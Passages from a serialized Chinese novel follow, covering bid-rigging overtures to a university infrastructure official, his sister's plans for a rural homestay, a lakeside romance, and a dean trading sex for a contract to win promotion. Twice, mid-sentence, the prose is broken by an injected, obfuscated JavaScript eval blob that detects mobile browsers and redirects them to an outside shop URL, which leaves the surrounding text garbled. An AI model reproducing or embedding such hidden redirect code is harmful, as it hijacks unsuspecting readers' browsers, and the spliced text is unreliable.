汪清早生怕顾明远不明白,立刻用最直白的方式补充:“顾部长看来有点不好意思了。这么跟顾处长说吧,小满二姐现在每个月至少是个‘万元户’,稳稳当当,只多不少。” “万元户”背后显示的数字像一颗烧红的铁钉,狠狠扎进了顾明远的神经。他端着茶杯的手顿了一下,心中五味杂陈:二姐的收入,几乎是他这个历尽寒窗苦读手握研究生文凭的处长三倍。此刻,顾明远内心那点对商人的本能反感,在真金白银面前,一下子变得有些苍白而脆弱。 毕竟是自家二姐得到了实惠,顾明远打心眼里还是替二姐高兴,对汪清早的态度自然就变得和缓了些,但内心的提防,并未减少半分。 看见气氛回暖,汪清早悄悄给顾小满递了个眼色。这都是来前商量好的步骤。顾小满心领神会,一边假意整理着餐桌,一边状若无意地将话题引向了正事:“明远,听说你们后天就要召开一期工程的招标会了?我们公司可是早就备好标书,就等着这个机会了哈。” 话头一起,汪清早立刻接过话茬:“顾处长,不瞒您说,我们公司这些年深耕教育领域,接了不少高校的工程,积累了不少经验。说句高攀的话,我们是真的对楚江大学有感情,无非是想借着这次机会,为学校建设尽一点绵薄之力,做点实实在在的贡献。” 顾明远如何听不出这弦外之音?他眼皮微抬,目光掠过汪清早那看似诚恳的脸,并不接“贡献”的话头,而是将问题轻飘飘地拨回到规则的层面:“有经验是好事。招标会嘛,规则一视同仁,讲的就是一个公平、公开。只要你们公司实力过硬,准备充分,我当然乐见其成。当然,专家评审们的眼睛自然是雪亮的。” 这番话如同打出了一记绵柔的太极,既点明了“实力”和“规则”这个核心,又回避了任何实质性的承诺。 看见老板汪清早脸上的笑容僵住,顾小满有些急了,忍不住插话道:“明远,我们公司实力肯定是有的。你就……你就关键时刻帮着说句话,只要能让汪总他们入围参与进去,后面不就好说了嘛。” 顾明远看了二姐一眼,沉默片刻后,用一种清晰而缓慢的语调说出了自己的底线:“二姐,规则就是规则。”定下基调后,给了一个看似让步的回应:“只要你们公司递交的标书完全符合招标文件列出的所有资格与评审条件,流程上没有任何瑕疵,那么,任何人都不会也不应该阻拦你们公平参与竞争。” 此言一出,汪清早心里有些托底:至少这个书生没有反对自己公司的参与,这说明在评标会上他肯定不会作出不利于公司的评语。 顾小满似乎还不满足,嗔怪弟弟不近人情。汪清早知道顾明远能够做出这样的表态已属不易,赶紧伸手阻止了她。转着脑袋又四下打量了一下客厅,拍着已经破裂露出棉花的沙发,望着顾小满说道:“顾部长你没发现,顾处长家客厅的家具也太寒酸了点吧?” 顾小满早就学会了察言观色的本领,赶紧接话说是要给弟弟换一套全新的客厅家具。顾明远知道这二人一唱一和没安好心,毫不犹豫严词予以拒绝,汪清早却轻描淡写地说道:“顾处长放心,我的意思是让小满自己掏钱的。”顾小满连忙点头承认。 顾明远不想将大好的周末被汪清早占用,站起身来故意打了个大大的哈欠。自认为达到目的的我早连忙起身告辞。坐进新买的奔驰轿车,他让司机直接将车开到中商广场,豪气地给顾小满买了一条分量十足的黄金链子。这既是即时奖赏,也是一条无形的锁链,提醒顾小满要继续做好他那位“原则性极强”的弟弟的工作。 顾小满当然明白老板的意图。将汪清早送回公司后,立即折返回到弟弟的家中,走进厨房开始和面,说是要给弟弟做一顿老家的“包面”解馋。 对于二姐的折返,顾明远十分高兴。不仅可以大饱口福,关键是还可以将自己已经酝酿了一年的设想和二姐好好聊聊。 父亲顾有余去世前,专门给儿子交代了一项任务:千万不能让汪清早破坏了二姐顾小满的家庭。细心的顾明远早就从汪清早的眼神中看出,他就像一只盘踞在暗处的蜘蛛,正不怀好意地编织着网,试图把二姐牢牢网住。想起父亲临终时的交代,也为了二姐自己的前程,顾明远一直在悄悄替她谋划一条独立的生路。半年前的一次中学同学聚会时,顾明远无意中从已是副县长的老同学许锐那里得知,目前县里正在制定一项推动全域旅游的发展规划,乡村旅游是其中的重点,政策扶持力度空前。 说者无心听者有意。顾明远立刻想到了老家顾家老屋——村前一里地是拥有千年古寺的斗方山,村后是水面阔大环境清幽的枞树湾。这样得天独厚的自然环境不就是天然的发展乡村旅游的地方吗?顾明远的脑海里立刻跳出二姐顾小满的身影来。以她的聪明以及在武汉打工这些年的眼界和经验,简直是发展乡村旅游的不二人选呀。如果能促成二姐回乡创业,既能远离汪清早的纠缠,又能在家乡赚钱顾家,这不是一件两全其美的好事吗?自打那以后,顾明远两次专程回到县里想许锐请教和求助。许锐读书时受过顾明远不少的照应,至今对这份感情依然惦记在心,答应只要顾小满愿意回来,就会用足政策支持她。 趁着帮二姐打下手的机会,顾明远一边剥着蒜,一边状似随意地开口:“二姐如今是名副其实的公司高管了,收入水涨船高,看你这架势,怕是有点乐不思蜀了吧?” 顾小满正调着肉馅的手顿了顿,筷子尖在盆沿上轻轻一磕。她没有立刻回答,只是目光幽幽地望向窗外,声音里透着一股卸下伪装后的疲惫:“你两个外甥……还在老家天天盼着妈呢。你说,我这心,真能放下吗?” 顾明远趁势将剥好的蒜放进碗里,语气诚恳了几分:“那……,二姐你有没有考虑过,回去自己干点事业?这样还能照顾到家里。” “你呀,又来拿你二姐寻开心。”顾小满侧过头斜睨了弟弟一眼,嘴角扯出一丝无奈,随即化为一声轻叹,“自己干?谈何容易。老家哪有这样的平台。” “这么说,”顾明远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他?”顾小满头摇得像拨浪鼓:“明远,你太不了解他了。你别看他对我大方,大家私底下都骂他是只只进不出的貔貅。想让他掏钱投资?门儿都没有。” “事在人为”,顾明远不以为然:“凭你弟弟我这三寸不烂之舌,有办法说服他的。现在关键是你的态度,”他盯着二姐的眼睛:“有没有这个胆子和决心自己下海扑腾?” 顾小满显然被说动了心。“包面”刚一包完,就迫不及待掏出手机查找开办民宿的信息。看着她眉头愈锁愈紧,顾明远拍拍她的肩膀:“放心吧。天塌不下来的。不是还有呢弟弟我呢嘛。许锐说了,县里有一系列配套的扶持政策,到时候,什么贴息贷款、税收减免、专项补贴这些,我可以帮你跑呀。路是人走出来的嘛。” 弟弟的话像一缕阳光,驱散了顾小满脸上的阴霾。在窗外暖暖冬阳的映照下,她的脸颊重新变得红润,眼里燃起了希望和斗志。 送走了二姐,心情舒畅的顾明远在校园里漫无目标地溜达起来。初冬的风带着寒意,吹落了枝头最后几片倔强的黄叶。刚走到家属区外围,远远就听见荷花池方向传来一阵刺耳的喧嚣和孩童的哄笑声。 他快步走过去,眼前的景象让他的心猛地一沉。几个半大孩子手里拿着柳条,正围着一个瑟缩的身影不停地舞动。那身影头发蓬乱,怀里死死抱着一个光线微弱的破旧红灯笼,一边抵挡,一边嘶吼:“防火防盗!小心火烛!……。” 顾明远这下意识到那身影是财经学院的卞同峰,心瞬间像被一只冰冷的手紧紧攥住。在竞聘副处长失利后,胡莎莎迅速辞职南下,自此后,卞同峰的身体每况愈下,几近崩溃。学校念在他叔叔卞建桥的面子,让他年迈的母亲来校做了保洁员,既有一份收入,又能就近照顾儿子。这些年,卞同峰常像游魂般擎着灯笼在校园里游荡,永远重复着“小心火烛”“防火防盗”两句话,人们背后取笑他是免费的“校园更夫”。 看到卞同峰别小孩如此戏弄,顾明远一股热血冲上头顶,几步冲上亭子,一把夺过带头男孩手中的柳条,厉声呵斥:“你们干什么呢?谁教你们这么欺负人的?滚!” 被怒吼声吓住,孩子们发一声喊,四散奔逃。 顾明远扶住浑身颤抖的卞同峰,帮他掸掉身上的泥点枯叶。极度惊恐的卞同峰茫然地抬起头,眼神空洞涣散,根本没有认出顾明远来。 顾明远鼻子有些发酸。这个曾经也是对前途充满梦想的人,怎会落到如今这步田地?这时,卞同峰浑浊的眼神似乎聚焦了一瞬,凑近顾明远的脸,干裂的嘴唇翕动着问道:“你……你是……顾……明远吧?” 顾明远的眼眶瞬间红了起来,用力握住他冰冷枯瘦的手,声音哽咽:“同峰,是我。走,我送你回家。” 卞同峰却像被烫到一样,转身死死抱住冰冷的亭柱,眼神恍惚,梦呓般低语:“不回……不回……我要找莎莎……莎莎等我呢……。” 这时,一个佝偻着背、头发花白的老妇人,惊慌失措地迈着碎步赶来,正是卞同峰的母亲。她认识顾明远,浑浊的眼中涌出感激的泪水,不停地鞠躬作揖念叨:“谢谢啊。你是个善人,大好善人啊……。” 寒风卷起地上金黄的落叶,纷纷扬扬,像一场无声的悲歌,淋落在这对紧紧依偎、蹒跚前行的母子身上。卞同峰怀里的红灯笼,在寒风中摇曳着微弱而固执的光。一股难以言喻的苍凉感,如同冰冷的湖水,瞬间淹没了顾明远。这世间的悲欢,如此泾渭分明。一边是二姐被点燃的希望之火,另一边是同事被命运碾碎后仅存的微弱执念。眼前这一幕,让他第一次如此清晰扪心问道:这表面光鲜的象牙塔,难道真是值得长久栖身之地吗? 56. 东湖邂逅 四月的武汉,风是熨帖的丝绸,空气里流溢着香甜的蜜糖。天空被昨夜的春雨洗刷得如同蓝琉璃,几朵云絮慵懒浮游,软得让人想要跌进去做个甜梦。顾明远立在自家阳台上,任那杂糅了万千花香的春风撩拨鼻翼,心底蛰伏的春意骤然苏醒,涌起几分“试上超然台上看,半壕春水一城花”的冲动。 顾明远转身进屋,不由分说地将女儿安安从被窝里“捞”了出来。小家伙迷迷糊糊地揉着眼睛,本想嘟囔着抗议几句,却被父亲脸上难得一见的神采所感染和激发,一骨碌从床上爬了起来。 父女二人开着刚买的轿车沐浴着湿漉漉的晨光欢快地前行。抵达磨山时,才不过八点钟光景,春天的气息却已无处不在地流淌。草坪如绿茵铺展的盛宴,林荫道上挤满川流不息的红男绿女,笑语喧哗织成一张巨大的网,兜住了整个湖山的生机。 方才还在车里揉着惺忪睡眼的顾安然,一个哈欠打到一半,却被窗外的景象生生截住。不远处,游乐场喧嚣的声浪与缤纷的色彩扑面而来,像一块巨大的磁石,瞬间将她残余的困意吸得无影无踪。小姑娘的眸子骤然点亮,整个人仿佛被注入了无限活力,迫不及待地指着前方,连声催促:“爸爸快。快把车开到那边去。” 按照女儿的要求,顾明远爽快地买了一张通票,这样可以满足女儿对所有项目的好奇心。拿到票的顾安然早就忘记了爸爸的存在,像只雀跃的小鸟,头也不回地扑进了云霄飞车。 估算所有项目下来至少得两个钟点,顾明远正好可以利用这难得的机会饱览山水相连的春色,放松一下这两个月一直紧绷的神经。信心的滨湖栈道如缎带般蜿蜒在浅浪中穿行,行过听涛景区,巍峨雄壮的“楚城”门楼在绿树掩映中拔地而起,几只白鹭正绕着朱漆飞檐盘旋,清越的鸣叫仿佛在替这座沉默的城阙诉说千年往事。顾明远拾级欲上,目光却被城楼畔一株临水的垂柳牵住——柳丝如碧玉帘幕低垂,帘幕后,一个身着淡雅春装的熟悉身影,正静静坐在水边的石凳上低头翻着一本书。 顾明远的脚步停了下来,心脏像是被什么东西轻轻撞了一下。经过一番仔细辨认,他确定那人应该就是林思齐。那侧影的剪影在粼粼湖光的映衬下,显出一种瓷器般的清透感,仿佛北宋官窑素胎上那一笔浅痕,早就无声无息地镌刻在他的心底。 往前走了几步,顾明远又停下脚步下意识地四下张望:她是一个人吗?本能地退到一棵水杉树后观察了几分钟,柳树下的天地依然只属于她一人。 一种混合着渴望与怯懦的情绪在顾明远的胸腔里鼓胀。眼前这个女子,在他心中一直是可望而不可即的幻影,是美丽、知性与明净凝结成的完美化身。妻子在世时,道德的锁链将他牢牢束缚;妻子离去后,内心的顾虑又如藤蔓将他紧紧缠绕。他深知她曾受过感情的重创,就像一件精美却易碎的钧窑瓷器,釉色绝世却经不起莽撞的触碰。而自己只是一个独自抚养幼女的鳏夫,生活的琐碎与责任早已将那些属于文人的风花雪月磨成了实实在在的尘世烟火。如果贸然表露自己的心迹,弄不好在眼前明媚的春光里映出一道不合时宜的阴影,甚至不经意间磨损了她珍贵的釉光。 这些顾虑如同一张无形的网,让顾明远面对林思齐时总显得患得患失、欲进还退。 顾虑愈多,心跳便愈是加速。在离她几米远的地方,顾明远深吸了一口气,鼓起全部的勇气,低声挤出了“林医生吧”这句话来。 正被书本吸引的林思齐被惊得回过头来,目光直直和顾明远撞在了一起。刹那间,白皙的脸颊飞上两抹红晕,如同上等宣纸上徐徐晕开的胭脂。她慌忙站起身来:“顾老师?怎么是你呀?”那声音里,惊讶之下分明裹着一丝不易察觉的悸动。似乎怕他误会,林思齐连忙指向通往楚天台:“今天几位同事一起春游。她们精力旺盛得很,都登高望远去了。” 解释来得急切,却像一阵清风,恰到好处地拂去了顾明远心头的浮尘。 其实,林思齐心中的潮涌从未比顾明远平静分毫。那年在家中初遇,他站在书房光影交界处和父亲交流时的模样,一下子让林思齐脑海中的文人风骨具象化了起来。此后,她总在不经意间向表姐探听他的消息,特立独行且满腹经纶,便是林思齐心底悄然拼凑成的一个关于顾明远的完整形象。得知他已有家室时,林思齐悄然将刚刚萌芽的感觉仔细折叠,藏进道德的信封里,贴上“查无此人”的封条。即便两年前挣脱了那段不堪的婚姻,她依然不敢启开封条。在世人眼中,自己是仓促走进婚姻又狼狈退场的失败者,顾明远即便丧妻也依然是让人侧目的“钻石王老五”,这从表姐嘴里的关于他的“情感花边”中可见一斑。在一次次自我否定的纠结中,林思齐将那份情愫紧紧攥在掌心,不肯让它见一丝天光。 此刻,两个各自怀揣着满腹心事的灵魂,在这湖光山色中猝不及防地面对面站着,一时竟都忘了言语,仿佛时光也在这一刻为他们驻足。最终还是林思齐反应快些,看着身边川流不息的人潮,唇角漾起一抹浅淡的笑意提议道:“这里人多,要不……我们沿湖走走?” 声音温和中带着一种连她自己都未曾察觉的小心翼翼的试探。 顾明远脱口而出:“好啊。” 简单的两个字流泻的是此刻全部的欣喜。 两人在杨柳依依的湖堤上悠然漫步,身体却隔着恰到好处的距离。东湖的春天,美得恣意,美得奢侈,美得令人心醉神迷。极目处,穿湖而过的长堤如卧波长龙,岸旁笔直的水杉列队成行,新发的翠色逼人眼目,倒映在潋滟的波光中,光影摇曳,如同无数微醺的绿衣仙子,在澄澈的湖面跳着曼妙而无声的集体舞。脚下的草坪,油绿得仿佛能拧出汁液,修剪得平整如一块巨大的天鹅绒毯,温柔地向四面八方漫溢开去。不甘寂寞的白鹭,舒展着雪白的羽翼,在游人头顶优雅地盘旋、滑翔,偶尔一声清啼,划破春日的宁静,仿佛在殷勤地向每一个过客致意……。天地间的一切生灵与景物,都在春光里舒展着、呼吸着、律动着,充满了不可言说的灵动与蓬勃生机。 顾明远的目光总是不由自主地瞟向林思齐,有时甚至本能地想伸出手为她拂开额前一缕被暖风吹散的发丝,但终究还是胆怯。好在这浓盛的春天有的是聊天的灵感,走到一排如云似霞的樱花树下,顾明远轻声赞叹道:“樱花配上磨山的山色和东湖的波光,简直有些不讲道理的好看啊。” 林思齐秀项抬起,轻嗅着一蓬垂挂下来的粉红的重瓣樱花说道:“记得去年还没有这么繁密,大概是雨水滋润的缘故吧,今年的樱花开得格外鲜艳明媚。”说罢,下意识地抬手将不听话的发丝别到耳后,那个自然而又带着几分娇柔的细微动作,让顾明远心底的波澜无声地漫卷开来。 这时,几名年轻人骑车呼啸而过,卷起的风掠得花瓣纷飞,顾明远发现林思齐明亮的眼眸似乎黯淡了一些,便赶紧转移话题:“我家小妞在游乐场那边怕是玩疯了。” 话说得随意,其实是带着几分测试林思齐对自己家庭生活的反应。 “顾老师真是幸福啊。女儿是贴心的小棉袄。听说……你女儿聪明伶俐,是个很可爱的小精灵……”,话一出口,似乎意识到自己不小心流露了心迹,脸颊瞬间红得透彻,幸亏有樱花绯红花瓣的掩映,才不至于显得突兀。 “嗨,聪明倒还聪明,但调皮起来也头疼得很。” 顾明远语气里带着为人父的宠溺与些许无奈的甜蜜负担。 “小孩就该这样,不要过多地拘束,天性还是烂漫点好。” 林思齐的语调像春水淌过卵石,停下脚步后问道:“对了,你是买的通票吗?可别耽误了接她的时间。” 这份细心像一股温热的暖流,溢满了顾明远的心田。看了看手表,时间尚算宽裕,意味着可以延续这珍贵的邂逅。出了栈道,刚在石板路上走了几步,林思齐的半跟鞋在湿滑的青苔上打了个滑,身体失衡着趔趄起来,一声轻呼还未出口,顾明远的手已稳稳地扶住了她。 林思齐借力站稳,飞快地地抽回手臂,上面残留的体温和力道,让她心口微微发烫,如同被春日阳光久久照拂过的玉石。 两人在一处伸向湖心的观景台停下脚步。凭栏远眺,湖光山色尽收眼底。这时,一个胸前挎着相机的中年男子凑了过来热情地说道:“我观察二位好久了。你俩往这儿一站,简直就是一幅画,拍几张照留念吧?就冲你们神仙眷侣的气派,我直接您二位打八折。” 男子热情的武汉武汉腔和急切的表情,几乎没有给两人反应的时间。林思齐下意识地后退了小半步,脸颊瞬间飞红,像被投入石子的平静湖面,慌乱地漾开圈圈涟漪。她窘迫地避开摊主探究的目光,只觉得连耳根都在发烫。顾明远也是一愣,但“神仙眷侣”这个词让他的胸中涌出一种奇异的、混合着窃喜与得意的暖流。他侧脸看了看脸颊绯红、眼睫低垂的林思齐,在明澈波光的照映下,可不就是像画一样的么。 顾明远清了清嗓子,爽快地说道:“想拍就拍吧。” “好嘞。保证拍出明星效果来。”中年男子喜笑颜开,麻利地调整着相机参数,嘴里乐呵呵地絮叨不停:“哎呀,我就说嘛。先生儒雅稳重、气度不凡;小姐漂亮秀气,清雅脱俗,站在一起,简直是天生一对,地设一双。”油腔滑调的夸赞让本来落落大方的林思齐一时有些不知所措。中年男子似乎无所顾忌,走过来将林思齐推到顾明远身边:“小姐和先生靠近点嘛,这样显得亲密。”调了调镜头,嘴里大声喊道:“对,就这样。好,看镜头。笑,笑一个,哇噻,绝了。这张拍得真是绝了!” 他的话噼里啪啦地在两人心头炸响,搅动着春潮涌动的心湖。 林思齐的脸颊简直要燃烧起来,那红晕从耳根迅速蔓延到了白皙的脖颈,连小巧精致的耳垂都染上了诱人的粉色。她根本不敢抬眼去看身边的顾明远,只觉得摊主每一句夸张的赞美都让她心跳如擂鼓,既窘迫难当,又心尖发颤,胸中早就不受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904257|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 控制地泛起一丝隐秘的甜蜜。 快门声清脆地响起,不停地定格着东湖的潋滟波光,定格着垂柳的温柔绿意,更定格着两人心中难以言传的欢喜和怦然心动。 照完相后,林思齐催着顾明远赶紧去游乐场接女儿。一路上,两人不约而同地陷入了沉默。这沉默并不难熬,反而在喧闹的春景中滋生了一种奇异的安宁与亲昵,仿佛那些横亘在彼此之间的顾虑、身份与过往筑起的藩篱,在这湖光山色的温柔见证下,暂时变得透明而稀薄。她们都不准备也不想打破这沉默,仿佛要将这片刻的宁静与默契,一同镌刻进彼此记忆的最深处永久珍藏起来。 几天后,学校中层干部会议刚刚散场。顾明远正夹着笔记本急急地往办公室里赶,一个熟悉锐利的声音远远将他喊住。 回过头时,果然是历史学院院长秦冰纶。她紧走了几步赶了上来,表情怪异,刻意压低声音调侃道:“顾大处长,行啊你,藏得可够深的哟。” 顾明远本就对校园目前流行的“顾大处长”“顾老板”这样的称谓有些反感,加上这没头没尾“藏得可够深”的开场白一头雾水,有些面无表情地看着她反诘道:“秦院长说话总是这样高深莫测啊。” 秦冰纶目光中满是审视,彷佛是要撕开他身上的伪装:“都快要做我‘妹夫’了,还在这里跟我装深沉、打哑谜?”她刻意将“妹夫”二字咬得清晰无比,尾音拖得长长的,带着一种刺耳的、洞悉一切的揶揄味道。 顾明远心头猛地一震:林思齐不会将磨山偶遇之事主动告知她吧?想到这里,迅速镇定下来,故作不解地反问:“秦院长难不成从历史学家转型当了小说家,开始构思小说情节了?” “哟哟哟,还跟我这儿装?”秦冰纶柳眉一挑,说得如同亲临现场般有声有色:“前两天你是不是和我妹在东湖边手挽着手并肩散步?都要上新闻哩。” 她边说边刻意加重了“手挽着手”几个字的语气,仿佛已然掌握了确凿证据。 如此夸大其词,反倒让顾明远放下心来。本想解释一番以正视听,转念一想自己与林思齐光明磊落,何须向她通报周告?带着一丝微妙的逆反心理,顾明远用一种略带调侃的语气说道:“只可惜,秦院长‘眼线’没有给您拍几张照片作为证据的吧?实在有些遗憾了。” 秦冰纶脸上那复杂难辨的情绪——混合着好奇、审视或许还有一丝妒忌——迅速转化为唇齿间的锋芒:“行啦,顾明远,你也别卖弄口才了。思齐是我亲妹,你真要有心做我‘妹夫’呢,我也不反对。不过都可得警告你哦,思齐是吃过感情的苦头的,经不起任何人的二次伤害。如果真有人敢再伤她一次,我可是第一个不答应的。” 顾明远觉得秦冰纶这番话越说越离谱。他不想一味退让,语气也不由得带上了一丝冷硬:“秦院长,谢谢您的‘关心’。但我认为,你这操心,恐怕是过了界,也过了头。林思齐医生,她是一个独立、成熟的个体,远比你想象的要坚韧和强大得多。她不需要任何人为她架设所谓的‘保护伞’吧?至于我顾明远,”顿了顿,目光坦荡地直视着秦冰纶:“秦院长应该了解我为人处世的原则和底线。您刚才的警告呀,我就权当是出于对林医生的深切关怀而做出的善意的提醒。” 说完,抬腕看了看表,作势尊卑离开。 刚要转身,袖子却被秦冰纶一把扯住:“哎,你慌什么走呀。我还有话说呢。” 看见顾明远一副不卑不亢的样子,秦冰纶的脸上有几分挂不住,对眼前这个曾经的梦中主角如今和自己平起平坐的年轻男人多了几分怅怨,和他继续聊天的热情急剧下降,便公事公办地讲一个航空信封塞到他的手中:“你提交的《论苏轼黄州词中的生命突围意识与美学建构》的论文刚被古代史年会评为年度学术论文一等奖,做好参会交流的准备吧。 这突如其来的喜讯像一道明亮的阳光,瞬间驱散了方才因不愉快对话带来的阴霾。顾明远脸上已不由自主地绽开由衷的、带着几分难以置信的喜悦,深吸一口气后真诚地对秦冰纶说道:“谢谢秦院长亲自告诉这个消息。” 调任基建处这几年来,学术研究便成了顾明远偶尔拿出来小心擦拭、生怕蒙尘的珠子。这篇论文便是他利用没有加班的夜晚打磨擦拭的结果。在他心中,一直固执地认为,基建处只是他职业生涯中一个意外的、身不由己的驿站,他的灵魂,他的根最终还是要回到那散发着油墨书香的书卷里,回到那与古人心神交汇、思想碰撞的深邃世界中去。 秦冰纶坦然接受了顾明远的感激,脸上露出了骄傲的神采:“我这个副会长总还是要给你们年轻人做点好事嘛。” 顾明远再次感谢话刚一出口,韦江龙的电话响了起来,说是孟校长正在满世界找他,要他立刻赶去他的办公室。 秦冰纶本来还想趁着热乎劲就最近纷纷扬扬的选拔副校长的事情谈谈顾明远的口风,这下没了机会,看着顾明远离去的背影,微微地摇了摇头。 57. 舍身换筹 周濂透露的“已经确定在校内选拔一名副校长”的信息,像一颗投入心湖的石子,在秦冰纶沉寂多年的渴望中,再次漾开了层层涟漪。多年前那次与副校长之位失之交臂的遗憾,早已被她深埋心底,如今这缕希望的火光,却又一次破土而出,再次灼热地照亮了她一直焦渴等待的前路。 不过,受过历练的秦冰纶头脑也很清醒:楚江大学的权力角斗场终究还是雄性主宰的丛林。一个女人要想脱颖而出,本就艰难,更何况自己已不年轻且木秀于林呢。但是,诱惑如此巨大且就在眼前,秦冰纶在心中早已下定了“排除万难去争取最后的胜利”的决心。 校长周濂是自己最可依靠的力量。周濂也是发自内心希望秦冰纶能够抓住这次机会。这不仅是对她一向紧跟的回报,更是含有在班子中安排自己人的深意。经过这几年和戈大垣的共事,周濂已经意识到自己在这个问题上基本上没有多少话语权,贸然出手,反而会引起实际戈大垣的戒备和提防,那样反而会耽误了秦冰纶。为此,除了开始利用自己的校长威望开始在校内为秦冰纶“煽风点火”外,周濂重点建议秦冰纶要想办法攻破“省委组织部分管高校的钱副部长”和“校党委书记戈大垣”两位“关键先生”的堡垒。 对此,秦冰纶犯了难。钱副部长高高在上,她连其办公室门朝哪开都不知晓;戈大垣书记向来给人不怒自威、正直凛然的印象,虽然没少在公开场合表扬自己,但对组织部长范瑞、宣传部长罗明辉同样青睐有加。 看见她面露难色,周濂不由轻笑起来:“你平日工作中那股逢山开路、遇水搭桥的魄力哪去了?” “校长,这不一样呀。钱副部长那边,我哪有资格和机会攀得上关系?” “谁让你直接去找他呀?不要说你,我都没这个资格。刚才不是说了嘛,去开路、搭桥呀。你忘了,钱部长是老许爱人的弟弟?” 秦冰纶恍然。很快,眼中刚亮起的光却又迅速黯淡下去:“唉,这个恐怕也没戏。您不知道,为她侄儿和我表妹离婚的事,钱曼莉到现在还是吃我的心都有,说是我妹妹毁了他们许家的名声。” “事在人为嘛。”周濂意味深长笑了笑后说道:“我听孟超提过,老许那个侄儿一直想参与新校园建设。这里头,或许就有突破口。” 校长竟不惜身份暗示如此非常规的手段,秦冰纶心中震动而又感激,思忖片刻,答应一试。 她首先想到的,是去找分管基建的副校长孟超摸摸情况。 “孟超”这个名字,像一块烧红的烙铁,烫在秦冰纶心头十几年。七年前竞逐校长助理的那一役,孟超无所不用其极最后踩着她上位的一幕,至今刻骨铭心。进入班子后,孟超表面不计前嫌,主动示好,隔三差五会对秦冰纶和历史学院表示关心,可秦冰纶心里清楚:这是黄鼠狼给鸡拜年没安好心。 秦冰纶主动前来办公室,于孟超而言,是件稀罕且求之不得的事。当她试探性地问起新校园一期工程的事情时,孟超敏锐的直觉便嗅到了别样的气息。他心下暗笑,面上却不露分毫,只循着她的意图,话语如层层剥笋,不急不缓地引她道出真实来意。 待确认秦冰纶的真实意图后,孟超的目光便似不经意般在她饱满的胸脯上一溜后随即收回,慢条斯理地放出饵料:“一期工程大局已定啊。”说完话锋故意一顿,观察着秦冰纶脸上的表情变化,又继续说道:“不过呢,看在冰纶你的面子,我也不瞒你,确实还剩了两个几百万的小项目。唉,只是这年头,四面八方都盯着这点‘唐僧肉’,难办啊……”。他有意拖长着尾音,目光直勾勾地烙在秦冰纶脸上,那里面混杂着贪婪的试探与待价而沽的狡黠。 秦冰纶当然能够读懂这目光中的期盼和暗示。她暂且将屈辱与愤怒的热流强行压下。既然避无可避,她便要像个真正的战士迎上前去。 “舍身饲虎”。这四个字带着铁锈般的腥气从心底翻涌而上,让她喉头一阵发紧,胃里泛起恶心。短暂的犹豫如同冰层下的暗流,汹涌却未被表露分毫。再抬眼时,眸中已换上一种流转着暧昧的温柔:“算了,不谈这个了。要不晚上我单独请孟校长小酌几杯?好久没有一起喝酒了。” 主动的邀约配合着多情的眼神,像一簇火苗瞬间点燃了孟超积压已久的欲念。 心花怒放的孟超忙不迭地应承了下来。 猎物一旦走入自己狩猎的范围,秦冰纶便有的是办法逼它就范。 杯觥交错间,灵与肉的较量在暗流下迅速达成。 回到家中,玄关的门在身后沉重地合上,将自己与外界彻底隔绝。秦冰纶没有开灯,径直冲进浴室,几乎是撕扯般褪去全身衣物。她拧开水龙头,让滚烫的水流劈头盖脸地浇下,仿佛这样才能冲刷掉孟超留在她皮肤上的触感与气息。她用力揉搓着身体,直至嫩滑的肌肤泛起大片大片的红痕,那种无形的污秽感却如附骨之疽洗之不散。在水流的冲击声中,她抑制不住扶住马桶剧烈地干呕起来,泪水混着热水汹涌滚落。 终究还是用这具身体,做了最原始的交换。孟超亲口承诺的“几百万的项目”,现在成了打通钱曼莉关节的关键筹码。 一股夹杂着痛楚的、扭曲的胜利感,如同毒藤般悄然缠绕上心头,那双杏眼中,脆弱与挣扎已被一种近乎冷酷的决绝所取代。 收拾好身体和心情后,秦冰纶拨通了钱曼莉的电话。 当秦冰纶轻柔而谦卑地报出家门后,立刻招致了钱曼莉毫不犹豫毫不留情的嘲讽:“哟!是你秦大院长呀。都两年不联系了,怎么又想起联系我们了?不是说好的‘人走茶凉’嘛。”钱曼莉的怨气如开闸洪水,劈头盖脸砸来。 钱曼莉的表现早在秦冰纶的意料之中。为了钱副部长,她你愿流着香汗陪着笑脸忍受这番羞辱。 在百般的安抚和检讨后,钱曼莉依然不依不饶,怒气鼎盛,开始将枪口转向了秦冰纶表妹林思齐:“你们家林思齐,当初你说得天花乱坠的,这不到半年的工夫,就把我们家濠儿好好一个家搅散了。什么书香门第,我看家教还不如一个农村家庭。” 尽管替表妹一百个愤怒,但秦冰纶此时铁了心地忍。趁着钱曼莉喝水的间隙,秦冰纶决定化被动为主动,将可以帮助许达濠争取到一期工程的想法说了出来。 电话那边停顿了许久,隐约可以听见钱曼莉与许继武的低语声。又过了一会,钱曼莉的语气缓和了不少:“你有什么事,就直说吧。” 秦冰纶字斟句酌委婉地说出了想请钱部长关注自己提拔的事情。 钱曼莉在电话那头拉长了声调,带着一种居高临下的拿捏:“你这件事嘛……说难也难,说容易也容易。”她故意停顿,让秦冰纶的心悬起来,才慢悠悠地继续:“我弟弟那个人,你是知道的,最讲原则,很难轻易开口的。”话锋随即微妙一转,语气里添了些希望的亮光:“不过呢,我这个做姐姐的,他也许还会给几分薄面。” 秦冰纶正想道谢,钱曼莉的声音陡然锐利起来:“不说这个了。不是我说哈,你们楚江大学的人实在太势利了。我们家老许退下来前天天围着转,这人一下来马上离得远远的,那有这样办事的。特别那个孟超,我们家达濠几次上门求情,都被他冷脸赶走,真是不像话。” 秦冰纶知道许达濠是她钱曼莉的“摇钱树”,赶紧将前面的承诺又说了一遍。钱曼莉不屑地笑了起来:“我现在可不会轻易相信你们楚江大学的人了。俗话说什么来着,不见兔子……。” 